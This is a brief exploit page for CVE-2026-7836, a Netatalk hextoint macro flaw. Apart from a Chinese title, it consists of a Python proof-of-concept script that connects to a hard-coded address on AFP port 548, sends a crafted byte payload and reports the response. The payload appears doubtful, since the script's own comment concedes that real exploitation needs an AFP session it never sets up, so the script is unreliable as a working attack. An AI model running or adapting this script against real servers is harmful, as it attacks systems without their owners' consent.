CVE-2026-7836 Netatalk hextoint宏计算错误漏洞

import socket # PoC for CVE-2026-7836: Netatalk hextoint macro calculation error # This script attempts to send a payload with uppercase hex characters # to trigger the incorrect calculation logic. TARGET_IP = "192.168.1.100" TARGET_PORT = 548 # Default AFP port # Malicious payload containing uppercase hex characters (e.g., 'A'-'F') # which may be mishandled by the vulnerable hextoint macro. # Note: Actual exploitation requires valid AFP session establishment. payload = b"\x00\x04\x41\x46\x50\x43\x4F\x4D\x00" def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print("[*] Sending crafted payload with uppercase hex characters...") s.send(payload) response = s.recv(1024) print(f"[+] Received response: {response}") s.close() print("[*] Payload sent. Check target for data modification.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()